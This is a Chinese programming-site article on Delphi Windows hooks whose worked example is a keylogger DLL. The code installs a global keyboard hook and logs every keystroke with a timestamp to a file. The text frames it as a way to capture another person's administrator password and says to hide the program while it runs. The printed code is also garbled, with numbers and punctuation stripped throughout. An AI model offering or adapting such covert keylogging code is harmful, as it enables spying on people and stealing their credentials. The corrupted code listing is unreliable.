其他语言

位置:IT落伍者 >> 其他语言 >> 浏览文章

Delphi编程使用HOOK监视Windows


发布日期:2022年12月02日
 
Delphi编程使用HOOK监视Windows
每个程序都有自己的生存空间在Windows系统中你可以在任何时候让你的程序执行一些操作还可以触发消息触发的消息分为三种一是操作你程序的界面onClickonMouseMove等等另外一个可以使用Windows的消息机制来捕获一些系统消息但是如果你想在任何时候监控任何程序的情况那可能你就会选择HOOK来实现了虽然还有其他方法但不得不承认HOOK是一个比较简单解决问题的途径

下面就来举个例子(使用Delphi调试通过)

如果你需要访问某个人的机器那在运行\\SB之后那个人就会在你机器上敲入他的adminsitrator密码当然你也可以使用黑客工具来得到他的密码但是为什么不自己尝试一下写个程序记录所有的键盘操作呢?

首先需要申明一点Hook不同于一般的应用程序需要作为一个全局DLL出现否则无法在你程序不激活的状态捕获其他信息的(当然你可以用Windows消息这个问题不在这里讨论)

写个DLL定义一下函数

function setkeyhook:bool;export;

function endkeyhook:bool;export;

procedure keyhookexit;far;

procedure SetMainHandle(Handle: HWND); export;forward;

function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;

procedure EntryPointProc(Reason: Integer);

const

hMapObject: THandle = ;

begin

case reason of

DLL_PROCESS_ATTACH:

begin

hMapObject := CreateFileMapping($FFFFFFFF nil PAGE_READWRITE SizeOf(THookRec) _CBT);

rHookRec := MapViewOfFile(hMapObject FILE_MAP_WRITE );

end;

DLL_PROCESS_DETACH:

begin

try

UnMapViewOfFile(rHookRec);

CloseHandle(hMapObject);

except

end;

end;

end;

end;

procedure keyhookexit;far;

begin

if hNexthookproc<> then endkeyhook;

exitproc:=procsaveexit;

end;

function endkeyhook:bool;export;

begin

if hNexthookproc<> then

begin

unhookwindowshookex(hNexthookproc);

hNexthookproc:=;

messagebeep();

end;

result:=hNexthookproc=;

MainHandle:=;

end;

function Setkeyhook:bool;export;

begin

hNexthookproc:=SetWindowsHookEx(WH_KEYBOARD keyboardhookhandlerHInstance);

result:=hNexthookproc<>;

end;

function keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;

var

s:Tstringlist;

begin

if icode< then

begin

result:=CallNextHookEX(hNexthookprocicodewparamlparam);

exit;

end;

if lparam< then

begin

exit;

end;

s:=TStringlistCreate;

if FileExists(afilename) then

sLoadFromFile(afilename);

//将敲打的键盘字符保存到文件中

sAdd(formatdatetime(YYYYMMDD hh:nn:ss:zzz: now) + char(wParam) );

sSaveToFile(afilename);

sFree;

result:=;

end;

Dll的Project文件中定义如下

exports

setkeyhook index

endkeyhook index

SetMainHandle index ;

begin

hNexthookproc:=;

procsaveexit:=exitproc;

DllProc := @EntryPointProc;

EntryPointProc(DLL_PROCESS_ATTACH);

end

这样DLL就定义好了接下来就是画个界面

function setkeyhook:bool;external keyspydll;

function endkeyhook:bool;external keyspydll;

procedure SetMainHandle(Handle: HWND); external keyspydll;

//开始捕获键盘

SetMainHandle(handle);

setkeyhook

//中止捕获键盘

endkeyhook

然后吧你程序隐蔽起来启动捕获键盘在中止捕获之前所有键盘操作都会被记录到你所定义的filename这个文件名中去这些代码是临时写的仅是为了说明如何写个hook程序

另外Hook的功能不仅仅是简单使用这就需要靠大家灵活运用了可以跟很多windows API来配合通过很多技巧作出让人意想不到的效果

上一篇:Delphi中包的妙用

下一篇:Delphi编程轻松实现大图像浏览